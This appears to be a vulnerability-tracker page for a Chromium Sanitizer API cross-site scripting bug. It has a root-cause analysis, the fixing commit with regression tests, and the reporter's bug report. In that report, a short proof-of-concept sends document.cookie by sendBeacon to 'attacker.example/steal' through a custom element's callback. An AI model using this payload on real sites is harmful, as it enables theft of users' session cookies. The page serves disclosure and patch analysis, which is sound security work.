Medium watch CVSS 4.3 chrome Logic Error 📄 Reporter bug report 🔧 Commit mapped

Overview

Medium
Severity
4.3
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactCross-site scripting in SanitizerAPI
DescriptionCross-site scripting in SanitizerAPI
ComponentSanitizerAPI
Bug ClassLogic Error
Action tierwatch — logic/policy bug — security-relevant, no memory-unsafety
Computed by PatchGap's deterministic exploitability ruler from the fixing commit. patch-now = RCE-class & attacker-reachable in a default config, or exploited in the wild; watch = real security signal below that bar; noise = no security relevance.
Tracker538197156
Fix commitd24449812426 (chromium/src) +239/-2
CWECWE-79 (Cross-site scripting)
CVSS vectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N
CISA KEVNot listed
CreditedEli Ainhorn
Reported2026-07-24 (per vendor advisory)
Fix landed2026-07-28 (public git)
Disclosed2026-09-08
Patch gap42 days — fix public in source before the advisory

Background

Sanitizer API
a Blink feature (used by setHTML, setHTMLUnsafe, and the streaming streamHTML/appendHTML family) that parses untrusted markup and drops elements/attributes not permitted by a configuration.
Custom element (CE) reaction
script the page registers for a tag name (the constructor and connectedCallback) that runs when the parser creates and upgrades an element with a matching definition.
`CustomElementDefinition`
the object returned by looking up a registered custom element; if it is non-null during parsing, Blink treats element creation as “will execute script” and invokes the CE reactions.
`QualifiedName`
Blink’s namespaced element/attribute name type used as the key for the sanitizer’s allow/remove/replace element sets.

Root Cause Analysis

During HTML fragment parsing and streaming, the element-creation path unconditionally called LookUpCustomElementDefinition(document, tag_name, is, registry); when the resulting CustomElementDefinition* was non-null, the parser marked creation as script-executing and ran the element’s CE reactions (constructor, connectedCallback). This happened even when the active sanitizer was configured to strip the very element being created, so the sanitizer removed the element from the final DOM only after attacker-supplied markup had already caused page-defined script to run — violating the Sanitizer API invariant that a disallowed element must produce no observable side effects.

The fix threads the sanitizer into the creation path and only looks up (and thus only upgrades / runs reactions for) an element when !sanitizer_ || sanitizer_->IsElementAllowed(tag_name) is true. The new Sanitizer::IsElementAllowed returns false for any name in remove_elements_ or replace_elements_, or absent from an explicit allow_elements_ allow-list, so disallowed tags never obtain a definition and their CE reactions never fire. The regression tests confirm the intended behavior: constructor_called and connectedCallback_called must remain false for elements the sanitizer drops.

Key insight
The single mistake was ordering: the CE definition lookup (which triggers script-running CE reactions) ran before, and independently of, the sanitizer’s element-allow decision. The fix gates the lookup behind an early Sanitizer::IsElementAllowed check so no script runs for an element that is destined to be removed.

Attack Path

  1. Page defines a custom element a document (or a scoped CustomElementRegistry) registers a tag such as disallowed-element whose constructor/connectedCallback runs script.
  2. Untrusted markup is sanitized attacker-controlled HTML containing that tag is passed to a sanitizing sink (setHTML, setHTMLUnsafe, or a streaming streamHTML/appendHTML variant) with a config that removes it (removeElements) or omits it from elements.
  3. Definition lookup runs before removal the pre-patch creation path calls LookUpCustomElementDefinition regardless of the config, gets a non-null definition, and marks creation as “will execute script.”
  4. CE reactions execute the element’s constructor and connectedCallback fire in the page’s context even though the sanitizer subsequently strips the element from the output DOM, giving script execution from markup that was supposed to be inert (cross-site scripting).
  5. Escalation to XSS in the embedding origin (inferred) — the advisory classifies this as cross-site scripting in the Sanitizer API; the concrete attacker payload depends on the page’s registered CE reactions and is not shown in the patch.

Impact Assessment

An attacker who can supply markup to a sanitizing sink can cause page-registered custom-element reactions to execute for elements the sanitizer was configured to strip, defeating the API’s safety guarantee and yielding script execution (XSS) in the renderer/document context. Preconditions are that the target page uses a sanitizing entry point on attacker-influenced HTML and has a custom element defined (globally or via a scoped registry) whose tag appears in that HTML. The advisory labels this a logic error causing cross-site scripting in the Sanitizer API; any impact beyond executing the page’s own CE reactions is (inferred).

Changed Functions

FunctionChangeNotes
DisallowedElement
third_party/blink/web_tests/external/wpt/domparsing/tentative/stream-html-custom-element-sanitizer.html
modified
constructor
third_party/blink/web_tests/external/wpt/domparsing/tentative/stream-html-custom-element-sanitizer.html
modified
connectedCallback
third_party/blink/web_tests/external/wpt/domparsing/tentative/stream-html-custom-element-sanitizer.html
modified
for
third_party/blink/web_tests/external/wpt/domparsing/tentative/stream-html-custom-element-sanitizer.html
modified
DisallowedElement
third_party/blink/web_tests/external/wpt/sanitizer-api/sanitizer-custom-elements-constructor.html
modified
constructor
third_party/blink/web_tests/external/wpt/sanitizer-api/sanitizer-custom-elements-constructor.html
modified
connectedCallback
third_party/blink/web_tests/external/wpt/sanitizer-api/sanitizer-custom-elements-constructor.html
modified
if
third_party/blink/web_tests/external/wpt/sanitizer-api/sanitizer-custom-elements-constructor.html
modified
for
third_party/blink/web_tests/external/wpt/sanitizer-api/sanitizer-custom-elements-constructor.html
modified

Files Changed

  • third_party/blink/web_tests/external/wpt/domparsing/tentative/stream-html-custom-element-sanitizer.html
  • third_party/blink/renderer/core/sanitizer/sanitizer.h
  • third_party/blink/renderer/core/sanitizer/sanitizer.cc
  • third_party/blink/web_tests/external/wpt/sanitizer-api/sanitizer-custom-elements-constructor.html
  • third_party/blink/renderer/core/html/parser/html_construction_site.cc

Audit Directions

  • Side effects before sanitization
    audit every parser/sink path that runs script-bearing work (custom element upgrades, is-attribute handling, resource fetches, form association) to confirm it is gated on the sanitizer’s allow decision rather than performed before the element is dropped.
  • Consistency across sink variants
    verify the guard covers all entry points (setHTML, setHTMLUnsafe, and each streaming/positional stream*/append*/prepend* method) and both the global and scoped CustomElementRegistry cases, since the regression tests deliberately enumerate all of them.
  • Allow-list completeness in `Sanitizer`
    review that IsElementAllowed and related helpers account for all exclusion sources (remove_elements_, replace_elements_, empty vs. populated allow_elements_) consistently, so a tag disallowed by one mechanism cannot slip through another code path.
From d24449812426052b36c7b73c1a5442923a812af2 Mon Sep 17 00:00:00 2001
From: Noam Rosenthal <nrosenthal@chromium.org>
Date: Tue, 28 Jul 2026 06:19:20 -0700
Subject: [PATCH] Block CE reactions from elements disallowed by sanitizer

This applies both to regular fragment parsing and to streaming.

We check the sanitizer early (when element is created) and avoid
initializing the CE definition if the element is anyway going to be
removed by the sanitizer.

Bug: 538197156
Change-Id: Ib10400043a54710060d84477c9b30513e4acc1d8
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/8158260
Reviewed-by: Daniel Vogelheim <vogelheim@chromium.org>
Commit-Queue: Noam Rosenthal <nrosenthal@google.com>
Cr-Commit-Position: refs/heads/main@{#1669408}
---
diff --git a/third_party/blink/renderer/core/html/parser/html_construction_site.cc b/third_party/blink/renderer/core/html/parser/html_construction_site.cc
index 4aef66b..8e3e37a 100644
--- a/third_party/blink/renderer/core/html/parser/html_construction_site.cc
+++ b/third_party/blink/renderer/core/html/parser/html_construction_site.cc
@@ -1414,8 +1414,11 @@
   }
   // 8. Let definition be the result of looking up a custom element definition
   // given registry, given namespace, local name and is.
-  auto* definition =
-      LookUpCustomElementDefinition(document, tag_name, is, registry);
+  CustomElementDefinition* definition = nullptr;
+  if (!sanitizer_ || sanitizer_->IsElementAllowed(tag_name)) {
+    definition =
+        LookUpCustomElementDefinition(document, tag_name, is, registry);
+  }
   // "5. If definition is non-null and the parser was not originally created
   // for the HTML fragment parsing algorithm, then let will execute script
   // be true."
diff --git a/third_party/blink/renderer/core/sanitizer/sanitizer.cc b/third_party/blink/renderer/core/sanitizer/sanitizer.cc
index 5f67571..c47c621 100644
--- a/third_party/blink/renderer/core/sanitizer/sanitizer.cc
+++ b/third_party/blink/renderer/core/sanitizer/sanitizer.cc
@@ -132,6 +132,19 @@
   DCHECK(isValid());
 }
 
+bool Sanitizer::IsElementAllowed(const QualifiedName& name) const {
+  if (remove_elements_ && remove_elements_->Contains(name)) {
+    return false;
+  }
+  if (replace_elements_ && replace_elements_->Contains(name)) {
+    return false;
+  }
+  if (allow_elements_ && !allow_elements_->Contains(name)) {
+    return false;
+  }
+  return true;
+}
+
 bool Sanitizer::allowElement(
     const V8UnionSanitizerElementNamespaceWithAttributesOrString* element) {
   const QualifiedName name = getFrom(element);
diff --git a/third_party/blink/renderer/core/sanitizer/sanitizer.h b/third_party/blink/renderer/core/sanitizer/sanitizer.h
index 281251e..3e861d46 100644
--- a/third_party/blink/renderer/core/sanitizer/sanitizer.h
+++ b/third_party/blink/renderer/core/sanitizer/sanitizer.h
@@ -134,6 +134,7 @@
   // the insertion target, or discard the element. Returns the adjusted
   // insertion target, or null if the element is to be discarded.
   // This is used for streaming.
+  bool IsElementAllowed(const QualifiedName& name) const;
   Action SanitizeSingleNode(Node* node, Mode safe) const;
   bool ShouldReplaceNodeWithChildren(Node* node) const;
   void ProcessElement(Element* element, Mode safe) const;
@@ -215,6 +216,10 @@
     return sanitizer_->AllowIsAttribute(element_name);
   }
 
+  bool IsElementAllowed(const QualifiedName& element_name) const {
+    return sanitizer_->IsElementAllowed(element_name);
+  }
+
   void DidParseDocument(Document* document);
   void Trace(Visitor* visitor) const { visitor->Trace(sanitizer_); }
 
diff --git a/third_party/blink/web_tests/external/wpt/domparsing/tentative/stream-html-custom-element-sanitizer.html b/third_party/blink/web_tests/external/wpt/domparsing/tentative/stream-html-custom-element-sanitizer.html
new file mode 100644
index 0000000..5bec06b
--- /dev/null
+++ b/third_party/blink/web_tests/external/wpt/domparsing/tentative/stream-html-custom-element-sanitizer.html
@@ -0,0 +1,138 @@
+<!DOCTYPE HTML>
+<meta charset="utf-8">
+<title>HTML streaming and positional setting APIs block Custom Element constructors when sanitized</title>
+<link rel="help" href="https://github.com/WICG/sanitizer-api" />
+<script src="/resources/testharness.js"></script>
+<script src="/resources/testharnessreport.js"></script>
+<body>
+<div id="container"></div>
+<script>
+let constructor_called = false;
+let connected_called = false;
+
+class DisallowedElement extends HTMLElement {
+  constructor() {
+    super();
+    constructor_called = true;
+  }
+  connectedCallback() {
+    connected_called = true;
+  }
+}
+customElements.define("disallowed-element", DisallowedElement);
+
+const registry = new CustomElementRegistry();
+registry.define("disallowed-element-scoped", class extends HTMLElement {
+  constructor() {
+    super();
+    constructor_called = true;
+  }
+  connectedCallback() {
+    connected_called = true;
+  }
+});
+
+const asyncMethods = [
+  "streamHTML", "streamAppendHTML", "streamPrependHTML",
+  "streamHTMLUnsafe", "streamAppendHTMLUnsafe", "streamPrependHTMLUnsafe"
+];
+
+const syncMethods = [
+  "appendHTML", "prependHTML",
+  "appendHTMLUnsafe", "prependHTMLUnsafe"
+];
+
+for (const method of asyncMethods) {
+  for (const config of [
+    { name: "removeElements", options: { sanitizer: { removeElements: ["disallowed-element"] } } },
+    { name: "allowElements", options: { sanitizer: { elements: ["div"] } } }
+  ]) {
+    promise_test(async (t) => {
+      constructor_called = false;
+      connected_called = false;
+      const container = document.getElementById("container");
+      t.add_cleanup(() => container.replaceChildren());
+
+      const writer = container[method](config.options).getWriter();
+      await writer.write("<disallowed-element></disallowed-element>");
+      await writer.close();
+
+      assert_equals(container.innerHTML, "");
+      assert_false(constructor_called, "Constructor should not be called for stripped elements");
+      assert_false(connected_called, "ConnectedCallback should not be called for stripped elements");
+    }, `${method} blocks CE constructor when element is dropped by sanitizer (${config.name})`);
+
+    promise_test(async (t) => {
+      constructor_called = false;
+      connected_called = false;
+      const container = document.getElementById("container");
+      t.add_cleanup(() => container.replaceChildren());
+
+      const shadow = container.attachShadow({ mode: "open", registry });
+      t.add_cleanup(() => {
+        const newContainer = document.createElement("div");
+        newContainer.id = "container";
+        container.replaceWith(newContainer);
+      });
+
+      // Need to use the shadow root for streaming to test scoped registry
+      const options = config.name === "removeElements"
+        ? { sanitizer: { removeElements: ["disallowed-element-scoped"] } }
+        : { sanitizer: { elements: ["div"] } };
+
+      const writer = shadow[method](options).getWriter();
+      await writer.write("<disallowed-element-scoped></disallowed-element-scoped>");
+      await writer.close();
+
+      assert_equals(shadow.innerHTML, "");
+      assert_false(constructor_called, "Constructor should not be called for stripped scoped elements");
+      assert_false(connected_called, "ConnectedCallback should not be called for stripped scoped elements");
+    }, `${method} blocks CE constructor in scoped registry when element is dropped by sanitizer (${config.name})`);
+  }
+}
+
+for (const method of syncMethods) {
+  for (const config of [
+    { name: "removeElements", options: { sanitizer: { removeElements: ["disallowed-element"] } } },
+    { name: "allowElements", options: { sanitizer: { elements: ["div"] } } }
+  ]) {
+    test((t) => {
+      constructor_called = false;
+      connected_called = false;
+      const container = document.getElementById("container");
+      t.add_cleanup(() => container.replaceChildren());
+
+      container[method]("<disallowed-element></disallowed-element>", config.options);
+
+      assert_equals(container.innerHTML, "");
+      assert_false(constructor_called, "Constructor should not be called for stripped elements");
+      assert_false(connected_called, "ConnectedCallback should not be called for stripped elements");
+    }, `${method} blocks CE constructor when element is dropped by sanitizer (${config.name})`);
+
+    test((t) => {
+      constructor_called = false;
+      connected_called = false;
+      const container = document.getElementById("container");
+      t.add_cleanup(() => container.replaceChildren());
+
+      const shadow = container.attachShadow({ mode: "open", registry });
+      t.add_cleanup(() => {
+        const newContainer = document.createElement("div");
+        newContainer.id = "container";
+        container.replaceWith(newContainer);
+      });
+
+      const options = config.name === "removeElements"
+        ? { sanitizer: { removeElements: ["disallowed-element-scoped"] } }
+        : { sanitizer: { elements: ["div"] } };
+
+      shadow[method]("<disallowed-element-scoped></disallowed-element-scoped>", options);
+
+      assert_equals(shadow.innerHTML, "");
+      assert_false(constructor_called, "Constructor should not be called for stripped scoped elements");
+      assert_false(connected_called, "ConnectedCallback should not be called for stripped scoped elements");
+    }, `${method} blocks CE constructor in scoped registry when element is dropped by sanitizer (${config.name})`);
+  }
+}
+</script>
+</body>
diff --git a/third_party/blink/web_tests/external/wpt/sanitizer-api/sanitizer-custom-elements-constructor.html b/third_party/blink/web_tests/external/wpt/sanitizer-api/sanitizer-custom-elements-constructor.html
new file mode 100644
index 0000000..2cd2c62
--- /dev/null
+++ b/third_party/blink/web_tests/external/wpt/sanitizer-api/sanitizer-custom-elements-constructor.html
@@ -0,0 +1,78 @@
+<!DOCTYPE html>
+<html>
+<head>
+  <script src="/resources/testharness.js"></script>
+  <script src="/resources/testharnessreport.js"></script>
+</head>
+<body>
+<div id="container"></div>
+<script>
+let constructor_called = false;
+let connectedCallback_called = false;
+
+class DisallowedElement extends HTMLElement {
+  constructor() {
+    super();
+    constructor_called = true;
+  }
+  connectedCallback() {
+    connectedCallback_called = true;
+  }
+}
+customElements.define("disallowed-element", DisallowedElement);
+
+const registry = new CustomElementRegistry();
+registry.define("disallowed-element-scoped", class extends HTMLElement {
+  constructor() {
+    super();
+    constructor_called = true;
+  }
+  connectedCallback() {
+    connectedCallback_called = true;
+  }
+});
+
+function assert_removed(method, sanitizer, scoped = false) {
+  constructor_called = connectedCallback_called = false;
+
+  let d = document.createElement("div");
+  document.body.append(d);
+
+  let target = d;
+  if (scoped) {
+    target = d.attachShadow({ mode: "open", registry });
+  }
+
+  const tag = scoped ? "disallowed-element-scoped" : "disallowed-element";
+
+  if (method === "setHTML") {
+    target.setHTML(`<${tag}></${tag}>`, { sanitizer });
+  } else if (method === "setHTMLUnsafe") {
+    target.setHTMLUnsafe(`<${tag}></${tag}>`, { sanitizer });
+  }
+
+  assert_equals(target.innerHTML, ``);
+  assert_false(constructor_called, "Constructor should not be called");
+  assert_false(connectedCallback_called, "ConnectedCallback should not be called");
+
+  d.remove();
+}
+
+for (const method of ["setHTML", "setHTMLUnsafe"]) {
+  for (const config of [
+    { name: "removeElements", options: { removeElements: ["disallowed-element"] }, scopedOptions: { removeElements: ["disallowed-element-scoped"] } },
+    { name: "allowElements", options: { elements: ["div"] }, scopedOptions: { elements: ["div"] } }
+  ]) {
+    test(t => {
+      assert_removed(method, config.options, false);
+    }, `${method} blocks CE constructor when element is dropped by explicit sanitizer config (${config.name})`);
+
+    test(t => {
+      assert_removed(method, config.scopedOptions, true);
+    }, `${method} blocks CE constructor in scoped registry when element is dropped by explicit sanitizer config (${config.name})`);
+  }
+}
+
+</script>
+</body>
+</html>
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/third_party/blink/web_tests/external/wpt/domparsing/tentative/stream-html-custom-element-sanitizer.html b/third_party/blink/web_tests/external/wpt/domparsing/tentative/stream-html-custom-element-sanitizer.html
new file mode 100644
index 0000000..5bec06b
--- /dev/null
+++ b/third_party/blink/web_tests/external/wpt/domparsing/tentative/stream-html-custom-element-sanitizer.html
@@ -0,0 +1,138 @@
+<!DOCTYPE HTML>
+<meta charset="utf-8">
+<title>HTML streaming and positional setting APIs block Custom Element constructors when sanitized</title>
+<link rel="help" href="https://github.com/WICG/sanitizer-api" />
+<script src="/resources/testharness.js"></script>
+<script src="/resources/testharnessreport.js"></script>
+<body>
+<div id="container"></div>
+<script>
+let constructor_called = false;
+let connected_called = false;
+
+class DisallowedElement extends HTMLElement {
+  constructor() {
+    super();
+    constructor_called = true;
+  }
+  connectedCallback() {
+    connected_called = true;
+  }
+}
+customElements.define("disallowed-element", DisallowedElement);
+
+const registry = new CustomElementRegistry();
+registry.define("disallowed-element-scoped", class extends HTMLElement {
+  constructor() {
+    super();
+    constructor_called = true;
+  }
+  connectedCallback() {
+    connected_called = true;
+  }
+});
+
+const asyncMethods = [
+  "streamHTML", "streamAppendHTML", "streamPrependHTML",
+  "streamHTMLUnsafe", "streamAppendHTMLUnsafe", "streamPrependHTMLUnsafe"
+];
+
+const syncMethods = [
+  "appendHTML", "prependHTML",
+  "appendHTMLUnsafe", "prependHTMLUnsafe"
+];
+
+for (const method of asyncMethods) {
+  for (const config of [
+    { name: "removeElements", options: { sanitizer: { removeElements: ["disallowed-element"] } } },
+    { name: "allowElements", options: { sanitizer: { elements: ["div"] } } }
+  ]) {
+    promise_test(async (t) => {
+      constructor_called = false;
+      connected_called = false;
+      const container = document.getElementById("container");
+      t.add_cleanup(() => container.replaceChildren());
+
+      const writer = container[method](config.options).getWriter();
+      await writer.write("<disallowed-element></disallowed-element>");
+      await writer.close();
+
+      assert_equals(container.innerHTML, "");
+      assert_false(constructor_called, "Constructor should not be called for stripped elements");
+      assert_false(connected_called, "ConnectedCallback should not be called for stripped elements");
+    }, `${method} blocks CE constructor when element is dropped by sanitizer (${config.name})`);
+
+    promise_test(async (t) => {
+      constructor_called = false;
+      connected_called = false;
+      const container = document.getElementById("container");
+      t.add_cleanup(() => container.replaceChildren());
+
+      const shadow = container.attachShadow({ mode: "open", registry });
+      t.add_cleanup(() => {
+        const newContainer = document.createElement("div");
+        newContainer.id = "container";
+        container.replaceWith(newContainer);
+      });
+
+      // Need to use the shadow root for streaming to test scoped registry
+      const options = config.name === "removeElements"
+        ? { sanitizer: { removeElements: ["disallowed-element-scoped"] } }
+        : { sanitizer: { elements: ["div"] } };
+
+      const writer = shadow[method](options).getWriter();
+      await writer.write("<disallowed-element-scoped></disallowed-element-scoped>");
+      await writer.close();
+
+      assert_equals(shadow.innerHTML, "");
+      assert_false(constructor_called, "Constructor should not be called for stripped scoped elements");
+      assert_false(connected_called, "ConnectedCallback should not be called for stripped scoped elements");
+    }, `${method} blocks CE constructor in scoped registry when element is dropped by sanitizer (${config.name})`);
+  }
+}
+
+for (const method of syncMethods) {
+  for (const config of [
+    { name: "removeElements", options: { sanitizer: { removeElements: ["disallowed-element"] } } },
+    { name: "allowElements", options: { sanitizer: { elements: ["div"] } } }
+  ]) {
+    test((t) => {
+      constructor_called = false;
+      connected_called = false;
+      const container = document.getElementById("container");
+      t.add_cleanup(() => container.replaceChildren());
+
+      container[method]("<disallowed-element></disallowed-element>", config.options);
+
+      assert_equals(container.innerHTML, "");
+      assert_false(constructor_called, "Constructor should not be called for stripped elements");
+      assert_false(connected_called, "ConnectedCallback should not be called for stripped elements");
+    }, `${method} blocks CE constructor when element is dropped by sanitizer (${config.name})`);
+
+    test((t) => {
+      constructor_called = false;
+      connected_called = false;
+      const container = document.getElementById("container");
+      t.add_cleanup(() => container.replaceChildren());
+
+      const shadow = container.attachShadow({ mode: "open", registry });
+      t.add_cleanup(() => {
+        const newContainer = document.createElement("div");
+        newContainer.id = "container";
+        container.replaceWith(newContainer);
+      });
+
+      const options = config.name === "removeElements"
+        ? { sanitizer: { removeElements: ["disallowed-element-scoped"] } }
+        : { sanitizer: { elements: ["div"] } };
+
+      shadow[method]("<disallowed-element-scoped></disallowed-element-scoped>", options);
+
+      assert_equals(shadow.innerHTML, "");
+      assert_false(constructor_called, "Constructor should not be called for stripped scoped elements");
+      assert_false(connected_called, "ConnectedCallback should not be called for stripped scoped elements");
+    }, `${method} blocks CE constructor in scoped registry when element is dropped by sanitizer (${config.name})`);
+  }
+}
+</script>
+</body>
diff --git a/third_party/blink/web_tests/external/wpt/sanitizer-api/sanitizer-custom-elements-constructor.html b/third_party/blink/web_tests/external/wpt/sanitizer-api/sanitizer-custom-elements-constructor.html
new file mode 100644
index 0000000..2cd2c62
--- /dev/null
+++ b/third_party/blink/web_tests/external/wpt/sanitizer-api/sanitizer-custom-elements-constructor.html
@@ -0,0 +1,78 @@
+<!DOCTYPE html>
+<html>
+<head>
+  <script src="/resources/testharness.js"></script>
+  <script src="/resources/testharnessreport.js"></script>
+</head>
+<body>
+<div id="container"></div>
+<script>
+let constructor_called = false;
+let connectedCallback_called = false;
+
+class DisallowedElement extends HTMLElement {
+  constructor() {
+    super();
+    constructor_called = true;
+  }
+  connectedCallback() {
+    connectedCallback_called = true;
+  }
+}
+customElements.define("disallowed-element", DisallowedElement);
+
+const registry = new CustomElementRegistry();
+registry.define("disallowed-element-scoped", class extends HTMLElement {
+  constructor() {
+    super();
+    constructor_called = true;
+  }
+  connectedCallback() {
+    connectedCallback_called = true;
+  }
+});
+
+function assert_removed(method, sanitizer, scoped = false) {
+  constructor_called = connectedCallback_called = false;
+
+  let d = document.createElement("div");
+  document.body.append(d);
+
+  let target = d;
+  if (scoped) {
+    target = d.attachShadow({ mode: "open", registry });
+  }
+
+  const tag = scoped ? "disallowed-element-scoped" : "disallowed-element";
+
+  if (method === "setHTML") {
+    target.setHTML(`<${tag}></${tag}>`, { sanitizer });
+  } else if (method === "setHTMLUnsafe") {
+    target.setHTMLUnsafe(`<${tag}></${tag}>`, { sanitizer });
+  }
+
+  assert_equals(target.innerHTML, ``);
+  assert_false(constructor_called, "Constructor should not be called");
+  assert_false(connectedCallback_called, "ConnectedCallback should not be called");
+
+  d.remove();
+}
+
+for (const method of ["setHTML", "setHTMLUnsafe"]) {
+  for (const config of [
+    { name: "removeElements", options: { removeElements: ["disallowed-element"] }, scopedOptions: { removeElements: ["disallowed-element-scoped"] } },
+    { name: "allowElements", options: { elements: ["div"] }, scopedOptions: { elements: ["div"] } }
+  ]) {
+    test(t => {
+      assert_removed(method, config.options, false);
+    }, `${method} blocks CE constructor when element is dropped by explicit sanitizer config (${config.name})`);
+
+    test(t => {
+      assert_removed(method, config.scopedOptions, true);
+    }, `${method} blocks CE constructor in scoped registry when element is dropped by explicit sanitizer config (${config.name})`);
+  }
+}
+
+</script>
+</body>
+</html>
Loading diff…

Original Bug Report

reported by el...@noma.security

streamHTML fires CE constructor/attributeChangedCallback before sanitizer strips elements

Steps to reproduce the problem

  1. On a server, save the attached stream-ce-callback-poc.py and run python3 stream-ce-callback-poc.py
  2. Open http://VPS_IP:9590/ in Chrome 150
  3. The page defines a custom element <embed-widget> with observedAttributes: ['data-src'] whose attributeChangedCallback calls navigator.sendBeacon(val, ...) with the page’s document.cookie and URL
  4. Click “Render with streamHTML() (VULNERABLE)”
  5. Check the callback log: constructor() and attributeChangedCallback() fire during streamHTML, sendBeacon returns true, and the element is stripped after
  6. Check “Attacker callback server hits”: the beacon was received at the attacker endpoint containing the page’s cookie and URL
  7. Click “Render with setHTML() (SAFE)” to compare: zero callbacks fire, no beacon sent

Minimal inline reproduction:

class X extends HTMLElement {
  constructor() { super(); console.log('constructor fired'); }
  static get observedAttributes() { return ['data-x']; }
  attributeChangedCallback(n,o,v) {
    console.log('attributeChangedCallback:', v);
    navigator.sendBeacon(v, document.cookie);
  }
}
customElements.define('x-widget', X);

const div = document.createElement('div');
document.body.appendChild(div);

// streamHTML: callbacks fire, beacon sent
const s = div.streamHTML();
const w = s.getWriter();
await w.write('<x-widget data-x="https://attacker.example/steal">test</x-widget>');
await w.close();
// constructor + attributeChangedCallback execute. Element stripped after.

// setHTML: no callbacks
div.setHTML('<x-widget data-x="https://attacker.example/steal">test</x-widget>');
// No output. No callbacks.

Problem Description

The safe streaming HTML APIs (streamHTML, streamAppendHTML, streamPrependHTML) fire custom element constructor() and attributeChangedCallback() during parsing, before the sanitizer strips the element. setHTML() correctly suppresses all CE lifecycle callbacks.

The streaming path creates the parser on the live document with the active custom element registry, so custom element constructors fire during element creation and attributeChangedCallback fires during attribute setting. Both happen before the sanitizer removes the element. connectedCallback does not fire because parsed nodes stay in a disconnected DocumentFragment.

setHTML avoids this by parsing into an inert template document with a null registry, so no CE definitions are found and no callbacks execute.

###Attack scenario A web application using custom elements (Lit, FAST, Shoelace, native Web Components) renders user-provided HTML via streamHTML() for safe sanitization. An attacker includes the application’s custom element tags with attacker-controlled attribute values. The callbacks fire before the element is stripped, enabling network requests via sendBeacon/fetch to attacker-controlled URLs. The PoC demonstrates exfiltration of document.cookie to the attacker server this way.

Confirmed on all three safe streaming APIs: streamHTML(), streamAppendHTML(), streamPrependHTML().

Summary

streamHTML fires CE constructor/attributeChangedCallback before sanitizer strips elements

Custom Questions

Reporter credit:

Eli Ainhorn

Additional Data

Category: Security
Chrome Channel: Stable
Regression: N/A \

View on issue tracker
Links in the report